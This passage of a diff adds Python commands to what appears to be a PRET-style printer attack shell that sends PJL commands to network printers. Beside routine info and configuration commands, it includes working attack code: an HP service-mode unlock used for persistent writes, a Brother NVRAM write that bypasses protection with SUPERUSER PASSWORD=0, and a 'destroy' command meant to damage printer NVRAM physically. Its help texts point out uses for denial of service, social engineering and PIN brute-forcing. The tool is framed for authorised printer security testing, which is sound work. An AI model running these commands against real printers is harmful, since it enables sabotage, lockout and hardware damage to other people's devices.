print(" mirror /webServer # Mirror webServer directory only")
|
|
574
|
+
print()
|
|
575
|
+
print("NOTES:")
|
|
576
|
+
print(" - Creates local directory structure")
|
|
577
|
+
print(" - Downloads all accessible files")
|
|
578
|
+
print(" - May take considerable time")
|
|
579
|
+
print(" - Useful for offline analysis and forensics")
|
|
580
|
+
print(" - Preserves directory structure")
|
|
581
|
+
print()
|
|
582
|
+
|
|
583
|
+
# --------------------------------------------------------------------
|
|
584
|
+
# ℹ️ INFORMAÇÕES DO SISTEMA (3 comandos)
|
|
585
|
+
# --------------------------------------------------------------------
|
|
586
|
+
|
|
587
|
+
def do_id(self, *args):
|
|
588
|
+
"Show comprehensive printer identification and system information (PJL-specific)"
|
|
589
|
+
print("PJL Printer Identification & System Information:")
|
|
590
|
+
print("=" * 60)
|
|
591
|
+
|
|
592
|
+
# Get basic ID
|
|
593
|
+
id_info = self.cmd("@PJL INFO ID")
|
|
594
|
+
if id_info:
|
|
595
|
+
print(f"Device ID: {id_info.strip()}")
|
|
596
|
+
|
|
597
|
+
# Get version/firmware info
|
|
598
|
+
version_info = self.cmd("@PJL INFO CONFIG")
|
|
599
|
+
if version_info:
|
|
600
|
+
print("\nFirmware/Version Information:")
|
|
601
|
+
print(version_info)
|
|
602
|
+
|
|
603
|
+
# Get product details
|
|
604
|
+
product_info = self.cmd("@PJL INFO PRODUCT")
|
|
605
|
+
if product_info:
|
|
606
|
+
print("\nProduct Information:")
|
|
607
|
+
print(product_info)
|
|
608
|
+
|
|
609
|
+
# Get page count
|
|
610
|
+
pagecount = self.cmd("@PJL INFO PAGECOUNT")
|
|
611
|
+
if pagecount:
|
|
612
|
+
print(f"\nPage Count: {pagecount.strip()}")
|
|
613
|
+
|
|
614
|
+
def help_id(self):
|
|
615
|
+
"""Show help for id command"""
|
|
616
|
+
print()
|
|
617
|
+
print("id - Show comprehensive printer identification and system information")
|
|
618
|
+
print("Usage: id")
|
|
619
|
+
print("Displays device ID, firmware version, product information, and page count.")
|
|
620
|
+
print("This is the main command for getting printer identification details.")
|
|
621
|
+
print()
|
|
622
|
+
|
|
623
|
+
def do_variables(self, arg):
|
|
624
|
+
"Show environment variables"
|
|
625
|
+
resp = self.cmd("@PJL INFO VARIABLES")
|
|
626
|
+
if resp:
|
|
627
|
+
print(resp)
|
|
628
|
+
|
|
629
|
+
def help_variables(self):
|
|
630
|
+
"""Show help for variables command"""
|
|
631
|
+
print()
|
|
632
|
+
print("variables - Show environment variables")
|
|
633
|
+
print("Usage: variables")
|
|
634
|
+
print("Displays all environment variables configured on the printer.")
|
|
635
|
+
print()
|
|
636
|
+
|
|
637
|
+
def do_printenv(self, arg):
|
|
638
|
+
"Show specific environment variable"
|
|
639
|
+
if not arg:
|
|
640
|
+
output().errmsg("Usage: printenv <variable>")
|
|
641
|
+
return
|
|
642
|
+
|
|
643
|
+
resp = self.cmd("@PJL INFO VARIABLES")
|
|
644
|
+
if resp:
|
|
645
|
+
# Search for specific variable
|
|
646
|
+
lines = resp.split('\n')
|
|
647
|
+
for line in lines:
|
|
648
|
+
if arg.upper() in line.upper():
|
|
649
|
+
print(line)
|
|
650
|
+
|
|
651
|
+
def help_printenv(self):
|
|
652
|
+
"""Show help for printenv command"""
|
|
653
|
+
print()
|
|
654
|
+
print("printenv - Show specific environment variable")
|
|
655
|
+
print("Usage: printenv <variable>")
|
|
656
|
+
print("Displays the value of a specific environment variable.")
|
|
657
|
+
print("Example: printenv PAGECOUNT")
|
|
658
|
+
print()
|
|
659
|
+
|
|
660
|
+
# --------------------------------------------------------------------
|
|
661
|
+
# ⚙️ CONTROLE E CONFIGURAÇÃO (8 comandos)
|
|
662
|
+
# --------------------------------------------------------------------
|
|
663
|
+
|
|
664
|
+
def do_set(self, arg, fb=True):
|
|
665
|
+
"Set environment variable VAR=VALUE (uses HP service mode for persistent write)"
|
|
666
|
+
if not arg:
|
|
667
|
+
output().errmsg("Usage: set <variable>=<value>")
|
|
668
|
+
return
|
|
669
|
+
|
|
670
|
+
if "=" not in arg:
|
|
671
|
+
output().errmsg("Usage: set <variable>=<value>")
|
|
672
|
+
return
|
|
673
|
+
|
|
674
|
+
var, value = arg.split("=", 1)
|
|
675
|
+
# Use HP service mode unlock before DEFAULT + SET for persistent NVRAM write.
|
|
676
|
+
# This mirrors PRET's approach: SERVICEMODE=HPBOISEID opens write access on
|
|
677
|
+
# HP LaserJet 4000-9000 and many compatible models. Falls back gracefully on
|
|
678
|
+
# non-HP printers that ignore the SERVICEMODE commands.
|
|
679
|
+
self.cmd(
|
|
680
|
+
"@PJL SET SERVICEMODE=HPBOISEID" + c.EOL
|
|
681
|
+
+ "@PJL DEFAULT " + var.upper() + "=" + value + c.EOL
|
|
682
|
+
+ "@PJL SET " + var.upper() + "=" + value + c.EOL
|
|
683
|
+
+ "@PJL SET SERVICEMODE=EXIT",
|
|
684
|
+
False,
|
|
685
|
+
)
|
|
686
|
+
if fb:
|
|
687
|
+
self.onecmd("printenv " + var.upper())
|
|
688
|
+
|
|
689
|
+
def help_set(self):
|
|
690
|
+
"""Show help for set command"""
|
|
691
|
+
print()
|
|
692
|
+
print("set - Set environment variable")
|
|
693
|
+
print("Usage: set <variable>=<value>")
|
|
694
|
+
print("Sets an environment variable on the printer.")
|
|
695
|
+
print("Example: set TESTVAR=testvalue")
|
|
696
|
+
print()
|
|
697
|
+
|
|
698
|
+
def do_display(self, arg):
|
|
699
|
+
"Set printer's display message: display <message>"
|
|
700
|
+
if not arg:
|
|
701
|
+
try:
|
|
702
|
+
message = input("Message: ")
|
|
703
|
+
except (EOFError, KeyboardInterrupt):
|
|
704
|
+
output().errmsg("No message provided")
|
|
705
|
+
return
|
|
706
|
+
else:
|
|
707
|
+
message = arg
|
|
708
|
+
|
|
709
|
+
self.cmd("@PJL DISPLAY \"" + message + "\"")
|
|
710
|
+
|
|
711
|
+
def help_display(self):
|
|
712
|
+
"""Show help for display command"""
|
|
713
|
+
print()
|
|
714
|
+
print("display - Set printer's display message")
|
|
715
|
+
print("=" * 60)
|
|
716
|
+
print("DESCRIPTION:")
|
|
717
|
+
print(" Changes the message shown on the printer's control panel display.")
|
|
718
|
+
print(" Useful for sending messages or testing display functionality.")
|
|
719
|
+
print()
|
|
720
|
+
print("USAGE:")
|
|
721
|
+
print(" display <message>")
|
|
722
|
+
print()
|
|
723
|
+
print("EXAMPLES:")
|
|
724
|
+
print(" display 'System Maintenance' # Show maintenance message")
|
|
725
|
+
print(" display 'Printer hacked' # Demonstration message")
|
|
726
|
+
print(" display 'Out of service' # Service notice")
|
|
727
|
+
print()
|
|
728
|
+
print("NOTES:")
|
|
729
|
+
print(" - Message length limited by printer")
|
|
730
|
+
print(" - Some printers ignore this command")
|
|
731
|
+
print(" - Can be used for social engineering")
|
|
732
|
+
print(" - Display reverts after timeout or job")
|
|
733
|
+
print()
|
|
734
|
+
|
|
735
|
+
def do_offline(self, arg):
|
|
736
|
+
"Take printer offline and display message: offline <message>"
|
|
737
|
+
if not arg:
|
|
738
|
+
try:
|
|
739
|
+
message = input("Message: ")
|
|
740
|
+
except (EOFError, KeyboardInterrupt):
|
|
741
|
+
output().errmsg("No message provided")
|
|
742
|
+
return
|
|
743
|
+
else:
|
|
744
|
+
message = arg
|
|
745
|
+
|
|
746
|
+
self.cmd("@PJL OFFLINE \"" + message + "\"")
|
|
747
|
+
|
|
748
|
+
def help_offline(self):
|
|
749
|
+
"""Show help for offline command"""
|
|
750
|
+
print()
|
|
751
|
+
print("offline - Take printer offline with custom message")
|
|
752
|
+
print("=" * 60)
|
|
753
|
+
print("DESCRIPTION:")
|
|
754
|
+
print(" Takes the printer offline and displays a custom message on the")
|
|
755
|
+
print(" control panel. Printer will not accept new jobs until brought back online.")
|
|
756
|
+
print()
|
|
757
|
+
print("USAGE:")
|
|
758
|
+
print(" offline <message>")
|
|
759
|
+
print()
|
|
760
|
+
print("EXAMPLES:")
|
|
761
|
+
print(" offline 'Under maintenance' # Maintenance mode")
|
|
762
|
+
print(" offline 'Reserved for testing' # Reserve printer")
|
|
763
|
+
print(" offline 'System upgrade' # Upgrade notice")
|
|
764
|
+
print()
|
|
765
|
+
print("NOTES:")
|
|
766
|
+
print(" - Printer stops accepting jobs")
|
|
767
|
+
print(" - User must manually bring printer online")
|
|
768
|
+
print(" - Can be used for denial of service")
|
|
769
|
+
print(" - Some printers may ignore this command")
|
|
770
|
+
print()
|
|
771
|
+
|
|
772
|
+
def do_restart(self, arg):
|
|
773
|
+
"Restart printer"
|
|
774
|
+
output().raw("Restarting printer...")
|
|
775
|
+
self.cmd("@PJL RESET", False)
|
|
776
|
+
|
|
777
|
+
def help_restart(self):
|
|
778
|
+
"""Show help for restart command"""
|
|
779
|
+
print()
|
|
780
|
+
print("restart - Restart the printer")
|
|
781
|
+
print("=" * 60)
|
|
782
|
+
print("DESCRIPTION:")
|
|
783
|
+
print(" Performs a soft reset of the printer, restarting the print")
|
|
784
|
+
print(" engine and reinitializing all settings. Clears current job queue.")
|
|
785
|
+
print()
|
|
786
|
+
print("USAGE:")
|
|
787
|
+
print(" restart")
|
|
788
|
+
print()
|
|
789
|
+
print("EXAMPLES:")
|
|
790
|
+
print(" restart # Restart printer")
|
|
791
|
+
print()
|
|
792
|
+
print("NOTES:")
|
|
793
|
+
print(" - All queued jobs will be lost")
|
|
794
|
+
print(" - Printer will be offline during restart")
|
|
795
|
+
print(" - Settings are preserved (not factory reset)")
|
|
796
|
+
print(" - Takes 30-60 seconds to complete")
|
|
797
|
+
print(" - Use reset for factory defaults")
|
|
798
|
+
print()
|
|
799
|
+
|
|
800
|
+
def do_reset(self, arg):
|
|
801
|
+
"Reset to factory defaults"
|
|
802
|
+
if not self.conn._file: # in case we're connected over inet socket
|
|
803
|
+
output().warning("Reset command may not work over network connection")
|
|
804
|
+
|
|
805
|
+
output().warning("This will reset the printer to factory defaults!")
|
|
806
|
+
confirm = input("Are you sure? (yes/no): ")
|
|
807
|
+
if confirm.lower() == 'yes':
|
|
808
|
+
self.cmd("@PJL DEFAULT", False)
|
|
809
|
+
output().info("Printer reset to factory defaults")
|
|
810
|
+
else:
|
|
811
|
+
output().info("Reset cancelled")
|
|
812
|
+
|
|
813
|
+
def help_reset(self):
|
|
814
|
+
"""Show help for reset command"""
|
|
815
|
+
print()
|
|
816
|
+
print("reset - Reset printer to factory defaults")
|
|
817
|
+
print("=" * 60)
|
|
818
|
+
print("DESCRIPTION:")
|
|
819
|
+
print(" Resets all printer settings to factory defaults. This is a")
|
|
820
|
+
print(" destructive operation that cannot be undone. All custom settings,")
|
|
821
|
+
print(" network configurations, and stored data will be lost.")
|
|
822
|
+
print()
|
|
823
|
+
print("USAGE:")
|
|
824
|
+
print(" reset")
|
|
825
|
+
print()
|
|
826
|
+
print("EXAMPLES:")
|
|
827
|
+
print(" reset # Reset to factory defaults")
|
|
828
|
+
print()
|
|
829
|
+
print("NOTES:")
|
|
830
|
+
print(" - Requires confirmation (type 'yes')")
|
|
831
|
+
print(" - All settings will be lost")
|
|
832
|
+
print(" - Network configuration will be reset")
|
|
833
|
+
print(" - Cannot be undone")
|
|
834
|
+
print(" - Use restart for simple reboot")
|
|
835
|
+
print(" - Printer will need reconfiguration")
|
|
836
|
+
print()
|
|
837
|
+
|
|
838
|
+
def do_selftest(self, arg):
|
|
839
|
+
"Perform various printer self-tests"
|
|
840
|
+
print("Available self-tests:")
|
|
841
|
+
print("1. Print test page")
|
|
842
|
+
print("2. Network test")
|
|
843
|
+
print("3. Memory test")
|
|
844
|
+
print("4. All tests")
|
|
845
|
+
|
|
846
|
+
try:
|
|
847
|
+
choice = input("Select test (1-4): ")
|
|
848
|
+
except (EOFError, KeyboardInterrupt):
|
|
849
|
+
output().errmsg("No test selected")
|
|
850
|
+
return
|
|
851
|
+
|
|
852
|
+
if choice == "1":
|
|
853
|
+
self.cmd("@PJL TESTPAGE")
|
|
854
|
+
elif choice == "2":
|
|
855
|
+
self.cmd("@PJL NETTEST")
|
|
856
|
+
elif choice == "3":
|
|
857
|
+
self.cmd("@PJL MEMTEST")
|
|
858
|
+
elif choice == "4":
|
|
859
|
+
self.cmd("@PJL SELFTEST")
|
|
860
|
+
else:
|
|
861
|
+
output().errmsg("Invalid choice")
|
|
862
|
+
|
|
863
|
+
def help_selftest(self):
|
|
864
|
+
"""Show help for selftest command"""
|
|
865
|
+
print()
|
|
866
|
+
print("selftest - Perform printer self-tests")
|
|
867
|
+
print("=" * 60)
|
|
868
|
+
print("DESCRIPTION:")
|
|
869
|
+
print(" Runs various diagnostic tests on the printer to verify")
|
|
870
|
+
print(" functionality. Includes print test, network test, memory test.")
|
|
871
|
+
print()
|
|
872
|
+
print("USAGE:")
|
|
873
|
+
print(" selftest")
|
|
874
|
+
print()
|
|
875
|
+
print("TEST OPTIONS:")
|
|
876
|
+
print(" 1. Print test page - Tests print engine")
|
|
877
|
+
print(" 2. Network test - Tests network connectivity")
|
|
878
|
+
print(" 3. Memory test - Tests RAM integrity")
|
|
879
|
+
print(" 4. All tests - Runs complete diagnostic suite")
|
|
880
|
+
print()
|
|
881
|
+
print("EXAMPLES:")
|
|
882
|
+
print(" selftest # Interactive test selection")
|
|
883
|
+
print()
|
|
884
|
+
print("NOTES:")
|
|
885
|
+
print(" - Tests may take several minutes")
|
|
886
|
+
print(" - Test page will be printed for option 1")
|
|
887
|
+
print(" - Some printers have limited test support")
|
|
888
|
+
print(" - Useful for troubleshooting hardware issues")
|
|
889
|
+
print()
|
|
890
|
+
|
|
891
|
+
def do_backup(self, arg):
|
|
892
|
+
"Backup printer configuration"
|
|
893
|
+
if not arg:
|
|
894
|
+
output().errmsg("Usage: backup <filename>")
|
|
895
|
+
return
|
|
896
|
+
|
|
897
|
+
try:
|
|
898
|
+
# Get configuration
|
|
899
|
+
config = self.cmd("@PJL INFO CONFIG")
|
|
900
|
+
if config:
|
|
901
|
+
with open(arg, 'w') as f:
|
|
902
|
+
f.write(config)
|
|
903
|
+
output().info(f"Configuration backed up to {arg}")
|
|
904
|
+
else:
|
|
905
|
+
output().errmsg("Failed to get configuration")
|
|
906
|
+
except Exception as e:
|
|
907
|
+
output().errmsg(f"Backup failed: {e}")
|
|
908
|
+
|
|
909
|
+
def help_backup(self):
|
|
910
|
+
"""Show help for backup command"""
|
|
911
|
+
print()
|
|
912
|
+
print("backup - Backup printer configuration")
|
|
913
|
+
print("=" * 60)
|
|
914
|
+
print("DESCRIPTION:")
|
|
915
|
+
print(" Retrieves the current printer configuration and saves it to")
|
|
916
|
+
print(" a local file. Useful for backup before making changes.")
|
|
917
|
+
print()
|
|
918
|
+
print("USAGE:")
|
|
919
|
+
print(" backup <filename>")
|
|
920
|
+
print()
|
|
921
|
+
print("EXAMPLES:")
|
|
922
|
+
print(" backup config.backup # Save configuration")
|
|
923
|
+
print(" backup printer_$(date).cfg # Timestamped backup")
|
|
924
|
+
print(" backup /backups/printer.cfg # Full path backup")
|
|
925
|
+
print()
|
|
926
|
+
print("NOTES:")
|
|
927
|
+
print(" - Saves current configuration to local file")
|
|
928
|
+
print(" - Does not include print jobs")
|
|
929
|
+
print(" - Use before making risky changes")
|
|
930
|
+
print(" - Use restore to apply backed up configuration")
|
|
931
|
+
print()
|
|
932
|
+
|
|
933
|
+
def do_restore(self, arg):
|
|
934
|
+
"Restore printer configuration from backup"
|
|
935
|
+
if not arg:
|
|
936
|
+
output().errmsg("Usage: restore <filename>")
|
|
937
|
+
return
|
|
938
|
+
|
|
939
|
+
if not os.path.exists(arg):
|
|
940
|
+
output().errmsg(f"Backup file not found: {arg}")
|
|
941
|
+
return
|
|
942
|
+
|
|
943
|
+
try:
|
|
944
|
+
with open(arg, 'r') as f:
|
|
945
|
+
config = f.read()
|
|
946
|
+
|
|
947
|
+
# Restore configuration (this is a simplified approach)
|
|
948
|
+
output().warning("Restore functionality requires manual configuration")
|
|
949
|
+
output().info(f"Configuration from {arg} loaded")
|
|
950
|
+
except Exception as e:
|
|
951
|
+
output().errmsg(f"Restore failed: {e}")
|
|
952
|
+
|
|
953
|
+
def help_restore(self):
|
|
954
|
+
"""Show help for restore command"""
|
|
955
|
+
print()
|
|
956
|
+
print("restore - Restore printer configuration from backup")
|
|
957
|
+
print("=" * 60)
|
|
958
|
+
print("DESCRIPTION:")
|
|
959
|
+
print(" Loads a previously saved printer configuration from a backup")
|
|
960
|
+
print(" file. Note: automatic restoration may not be supported on all printers.")
|
|
961
|
+
print()
|
|
962
|
+
print("USAGE:")
|
|
963
|
+
print(" restore <filename>")
|
|
964
|
+
print()
|
|
965
|
+
print("EXAMPLES:")
|
|
966
|
+
print(" restore config.backup # Restore from backup")
|
|
967
|
+
print(" restore /backups/printer.cfg # Restore from path")
|
|
968
|
+
print()
|
|
969
|
+
print("NOTES:")
|
|
970
|
+
print(" - Backup file must exist")
|
|
971
|
+
print(" - Manual configuration may be required")
|
|
972
|
+
print(" - Not all settings may be restorable via PJL")
|
|
973
|
+
print(" - Test in safe environment first")
|
|
974
|
+
print(" - May require printer restart")
|
|
975
|
+
print()
|
|
976
|
+
|
|
977
|
+
# --------------------------------------------------------------------
|
|
978
|
+
# 🔒 SEGURANÇA E ACESSO (4 comandos)
|
|
979
|
+
# --------------------------------------------------------------------
|
|
980
|
+
|
|
981
|
+
def do_lock(self, arg):
|
|
982
|
+
"Lock control panel settings and disk write access"
|
|
983
|
+
if not arg:
|
|
984
|
+
try:
|
|
985
|
+
pin = input("Enter PIN (1..65535): ")
|
|
986
|
+
except (EOFError, KeyboardInterrupt):
|
|
987
|
+
output().errmsg("No PIN provided")
|
|
988
|
+
return
|
|
989
|
+
else:
|
|
990
|
+
pin = arg
|
|
991
|
+
|
|
992
|
+
try:
|
|
993
|
+
pin_num = int(pin)
|
|
994
|
+
if 1 <= pin_num <= 65535:
|
|
995
|
+
self.cmd("@PJL SET LOCKPIN=" + pin)
|
|
996
|
+
output().info("Printer locked with PIN")
|
|
997
|
+
else:
|
|
998
|
+
output().errmsg("PIN must be between 1 and 65535")
|
|
999
|
+
except ValueError:
|
|
1000
|
+
output().errmsg("Invalid PIN format")
|
|
1001
|
+
|
|
1002
|
+
def help_lock(self):
|
|
1003
|
+
"""Show help for lock command"""
|
|
1004
|
+
print()
|
|
1005
|
+
print("lock - Lock printer control panel and disk access")
|
|
1006
|
+
print("=" * 60)
|
|
1007
|
+
print("DESCRIPTION:")
|
|
1008
|
+
print(" Sets a PIN code to lock the printer's control panel settings")
|
|
1009
|
+
print(" and restrict disk write access. Prevents unauthorized changes.")
|
|
1010
|
+
print()
|
|
1011
|
+
print("USAGE:")
|
|
1012
|
+
print(" lock [PIN]")
|
|
1013
|
+
print()
|
|
1014
|
+
print("EXAMPLES:")
|
|
1015
|
+
print(" lock 12345 # Lock with PIN 12345")
|
|
1016
|
+
print(" lock # Prompt for PIN")
|
|
1017
|
+
print()
|
|
1018
|
+
print("NOTES:")
|
|
1019
|
+
print(" - PIN must be between 1 and 65535")
|
|
1020
|
+
print(" - Remember the PIN - recovery may not be possible")
|
|
1021
|
+
print(" - Use unlock command to remove lock")
|
|
1022
|
+
print(" - Some printers don't support this feature")
|
|
1023
|
+
print(" - Can be used for security or denial of service")
|
|
1024
|
+
print()
|
|
1025
|
+
|
|
1026
|
+
def do_unlock(self, arg):
|
|
1027
|
+
"Unlock control panel settings and disk write access"
|
|
1028
|
+
if not arg:
|
|
1029
|
+
try:
|
|
1030
|
+
pin = input("Enter PIN: ")
|
|
1031
|
+
except (EOFError, KeyboardInterrupt):
|
|
1032
|
+
output().errmsg("No PIN provided")
|
|
1033
|
+
return
|
|
1034
|
+
else:
|
|
1035
|
+
pin = arg
|
|
1036
|
+
|
|
1037
|
+
self.cmd("@PJL SET LOCKPIN=0")
|
|
1038
|
+
output().info("Printer unlocked")
|
|
1039
|
+
|
|
1040
|
+
def help_unlock(self):
|
|
1041
|
+
"""Show help for unlock command"""
|
|
1042
|
+
print()
|
|
1043
|
+
print("unlock - Unlock printer control panel and disk access")
|
|
1044
|
+
print("=" * 60)
|
|
1045
|
+
print("DESCRIPTION:")
|
|
1046
|
+
print(" Removes the PIN code lock from the printer, restoring normal")
|
|
1047
|
+
print(" access to control panel and disk write operations.")
|
|
1048
|
+
print()
|
|
1049
|
+
print("USAGE:")
|
|
1050
|
+
print(" unlock [PIN]")
|
|
1051
|
+
print()
|
|
1052
|
+
print("EXAMPLES:")
|
|
1053
|
+
print(" unlock 12345 # Unlock with PIN 12345")
|
|
1054
|
+
print(" unlock # Prompt for PIN")
|
|
1055
|
+
print()
|
|
1056
|
+
print("NOTES:")
|
|
1057
|
+
print(" - Correct PIN required (or try brute force)")
|
|
1058
|
+
print(" - Setting PIN to 0 removes lock")
|
|
1059
|
+
print(" - Use unlock_bruteforce for PIN recovery")
|
|
1060
|
+
print(" - Some printers have limited unlock support")
|
|
1061
|
+
print()
|
|
1062
|
+
|
|
1063
|
+
def do_disable(self, arg):
|
|
1064
|
+
"Disable printer functionality"
|
|
1065
|
+
jobmedia = self.cmd("@PJL DINQUIRE JOBMEDIA") or "?"
|
|
1066
|
+
if "?" in jobmedia:
|
|
1067
|
+
output().errmsg("Job media inquiry failed")
|
|
1068
|
+
return
|
|
1069
|
+
|
|
1070
|
+
if "ON" in jobmedia:
|
|
1071
|
+
self.cmd("@PJL SET JOBMEDIA=OFF")
|
|
1072
|
+
output().info("Job media disabled")
|
|
1073
|
+
else:
|
|
1074
|
+
output().info("Job media already disabled")
|
|
1075
|
+
|
|
1076
|
+
def do_nvram(self, arg):
|
|
1077
|
+
"Brother NVRAM operations: nvram <dump [all]|read <addr>|write <addr> <val>>"
|
|
1078
|
+
parts = arg.split() if arg else []
|
|
1079
|
+
|
|
1080
|
+
# --- dump ---
|
|
1081
|
+
if parts and parts[0] == "dump":
|
|
1082
|
+
import os as _os
|
|
1083
|
+
bs = 2 ** 9 # sample block size
|
|
1084
|
+
_max = 2 ** 18 # upper address limit for sampling
|
|
1085
|
+
steps = 2 ** 9 # commands per batch
|
|
1086
|
+
|
|
1087
|
+
# Determine address space
|
|
1088
|
+
if len(parts) > 1 and parts[1] == "all":
|
|
1089
|
+
# Full sampling scan: probe every bs-th address first
|
|
1090
|
+
self.chitchat("Sampling NVRAM address space (bs=%d, max=%d) ..." % (bs, _max))
|
|
1091
|
+
memspace = []
|
|
1092
|
+
cmds = ["@PJL RNVRAM ADDRESS=" + str(n) for n in range(0, _max, bs)]
|
|
1093
|
+
for chunk in [cmds[i:i+steps] for i in range(0, len(cmds), steps)]:
|
|
1094
|
+
recv = self.cmd(c.EOL.join(chunk))
|
|
1095
|
+
if not recv:
|
|
1096
|
+
self.chitchat("Device does not support RNVRAM (not a Brother?).")
|
|
1097
|
+
return
|
|
1098
|
+
blocks = re.findall(r"ADDRESS\s*=\s*(\d+)", recv)
|
|
1099
|
+
for addr in blocks:
|
|
1100
|
+
memspace += list(range(int(addr), int(addr) + bs))
|
|
1101
|
+
self.chitchat("%d valid addresses found." % len(memspace))
|
|
1102
|
+
else:
|
|
1103
|
+
# Quick default memspace (covers most interesting Brother regions)
|
|
1104
|
+
memspace = (
|
|
1105
|
+
list(range(0, 8192))
|
|
1106
|
+
+ list(range(32768, 33792))
|
|
1107
|
+
+ list(range(53248, 59648))
|
|
1108
|
+
)
|
|
1109
|
+
|
|
1110
|
+
lpath = _os.path.join("nvram", self.target if hasattr(self, "target") else "dump")
|
|
1111
|
+
_os.makedirs("nvram", exist_ok=True)
|
|
1112
|
+
self.chitchat("Writing dump to " + lpath)
|
|
1113
|
+
open(lpath, "wb").close() # truncate
|
|
1114
|
+
|
|
1115
|
+
cmds = ["@PJL RNVRAM ADDRESS=" + str(n) for n in memspace]
|
|
1116
|
+
for chunk in [cmds[i:i+steps] for i in range(0, len(cmds), steps)]:
|
|
1117
|
+
recv = self.cmd(c.EOL.join(chunk))
|
|
1118
|
+
if not recv:
|
|
1119
|
+
break
|
|
1120
|
+
data = "".join(
|
|
1121
|
+
chr(int(n)) for n in re.findall(r"DATA\s*=\s*(\d+)", recv)
|
|
1122
|
+
)
|
|
1123
|
+
with open(lpath, "a", encoding="latin-1") as fh:
|
|
1124
|
+
fh.write(data)
|
|
1125
|
+
# ASCII preview
|
|
1126
|
+
print(
|
|
1127
|
+
"".join(ch if 0x20 <= ord(ch) < 0x7F else "." for ch in data),
|
|
1128
|
+
end="", flush=True,
|
|
1129
|
+
)
|
|
1130
|
+
print()
|
|
1131
|
+
|
|
1132
|
+
# --- read single byte ---
|
|
1133
|
+
elif parts and parts[0] == "read":
|
|
1134
|
+
if len(parts) < 2:
|
|
1135
|
+
self.help_nvram(); return
|
|
1136
|
+
addr = parts[1]
|
|
1137
|
+
result = self.cmd("@PJL RNVRAM ADDRESS=" + addr)
|
|
1138
|
+
output().info(result if result else "No response (device may not support RNVRAM)")
|
|
1139
|
+
|
|
1140
|
+
# --- write single byte (uses SUPERUSER bypass) ---
|
|
1141
|
+
elif parts and parts[0] == "write":
|
|
1142
|
+
if len(parts) < 3:
|
|
1143
|
+
self.help_nvram(); return
|
|
1144
|
+
addr, data = parts[1], parts[2]
|
|
1145
|
+
# SUPERUSER PASSWORD=0 bypasses Brother's write protection on many models
|
|
1146
|
+
self.cmd(
|
|
1147
|
+
"@PJL SUPERUSER PASSWORD=0" + c.EOL
|
|
1148
|
+
+ "@PJL WNVRAM ADDRESS=" + addr + " DATA=" + data + c.EOL
|
|
1149
|
+
+ "@PJL SUPERUSEROFF",
|
|
1150
|
+
False,
|
|
1151
|
+
)
|
|
1152
|
+
output().chitchat("Written DATA=%s to ADDRESS=%s" % (data, addr))
|
|
1153
|
+
|
|
1154
|
+
else:
|
|
1155
|
+
self.help_nvram()
|
|
1156
|
+
|
|
1157
|
+
def help_nvram(self):
|
|
1158
|
+
"""Show help for nvram command"""
|
|
1159
|
+
print()
|
|
1160
|
+
print("nvram - Brother NVRAM read/write via PJL RNVRAM/WNVRAM")
|
|
1161
|
+
print("=" * 60)
|
|
1162
|
+
print("USAGE:")
|
|
1163
|
+
print(" nvram dump - Quick dump (default address regions)")
|
|
1164
|
+
print(" nvram dump all - Full sampling scan (slow, comprehensive)")
|
|
1165
|
+
print(" nvram read <addr> - Read single byte at address")
|
|
1166
|
+
print(" nvram write <addr> <val> - Write single byte (SUPERUSER bypass)")
|
|
1167
|
+
print()
|
|
1168
|
+
print("NOTES:")
|
|
1169
|
+
print(" - Brother-specific; @PJL RNVRAM/WNVRAM not available on HP/Xerox")
|
|
1170
|
+
print(" - SUPERUSER PASSWORD=0 bypasses write protection on many Brother models")
|
|
1171
|
+
print(" - Dump saved to nvram/<target>")
|
|
1172
|
+
print()
|
|
1173
|
+
|
|
1174
|
+
# --------------------------------------------------------------------
|
|
1175
|
+
# 💥 ATAQUES E TESTES (4 comandos)
|
|
1176
|
+
# --------------------------------------------------------------------
|
|
1177
|
+
|
|
1178
|
+
def do_destroy(self, arg):
|
|
1179
|
+
"Cause physical damage to printer's NVRAM"
|
|
1180
|
+
output().warning("Warning: This command tries to cause physical damage to the")
|
|
1181
|
+
output().warning("printer's NVRAM. Use with caution!")
|
|
1182
|
+
|
|
1183
|
+
try:
|
|
1184
|
+
confirm = input("Are you sure you want to continue? (yes/no): ")
|
|
1185
|
+
if confirm.lower() == 'yes':
|
|
1186
|
+
# This is a destructive command - be very careful
|
|
1187
|
+
output().warning("Executing destructive command...")
|
|
1188
|
+
|
|
1189
|
+
# Check for interruption during execution with better control
|
|
1190
|
+
for i in range(10): # Simulate long operation
|
|
1191
|
+
if hasattr(self, 'interrupted') and self.interrupted:
|
|
1192
|
+
output().warning("Command interrupted by user")
|
|
1193
|
+
return
|
|
1194
|
+
# Check for keyboard interrupt more frequently
|
|
1195
|
+
try:
|
|
1196
|
+
time.sleep(0.1) # Small delay to allow interruption
|
|
1197
|
+
except KeyboardInterrupt:
|
|
1198
|
+
output().warning("Command interrupted by user")
|
|
1199
|
+
return
|
|
1200
|
+
|
|
1201
|
+
self.cmd("@PJL SET NVRAM=0", False)
|
|
1202
|
+
output().warning("Destructive command executed")
|
|
1203
|
+
else:
|
|
1204
|
+
output().info("Destructive command cancelled")
|
|
1205
|
+
except (EOFError, KeyboardInterrupt):
|
|
1206
|
+
output().info("Command cancelled")
|
|
1207
|
+
|
|
1208
|
+
def help_destroy(self):
|
|
1209
|
+
"""Show help for destroy command"""
|
|
1210
|
+
print()
|
|
1211
|
+
print("destroy - Attempt to cause physical damage to NVRAM")
|
|
1212
|
+
print("=" * 60)
|
|
1213
|
+
print("DESCRIPTION:")
|
|
1214
|
+
print(" **DESTRUCTIVE ATTACK** - Attempts to cause physical damage")
|
|
1215
|
+
print(" to the printer's NVRAM by repeatedly writing invalid data.")
|
|
1216
|
+
print(" May permanently damage the printer.")
|
|
1217
|
+
print()
|
|
1218
|
+
print("USAGE:")
|
|
1219
|
+
print(" destroy")
|
|
1220
|
+
print()
|
|
1221
|
+
print("EXAMPLES:")
|
|
1222
|
+
print(" destroy # Execute destructive attack")
|
|
1223
|
+
print()
|
|
1224
|
+
print("WARNINGS:")
|
|
1225
|
+
print(" ⚠️ MAY CAUSE PERMANENT HARDWARE DAMAGE")
|
|
1226
|
+
print(" ⚠️ CANNOT BE UNDONE")
|
|
1227
|
+
print(" ⚠️ FOR RESEARCH PURPOSES ONLY")
|
|
1228
|
+
print(" ⚠️ REQUIRES EXPLICIT CONFIRMATION")
|
|
1229
|
+
print()
|
|
1230
|
+
print("NOTES:")
|
|
1231
|
+
print(" - Use only in authorized testing")
|
|
1232
|
+
print(" - May brick the printer")
|
|
1233
|
+
print(" - Requires 'yes' confirmation")
|
|
1234
|
+
print()
|
|
1235
|
+
|
|
1236
|
+
def do_flood(self, arg):
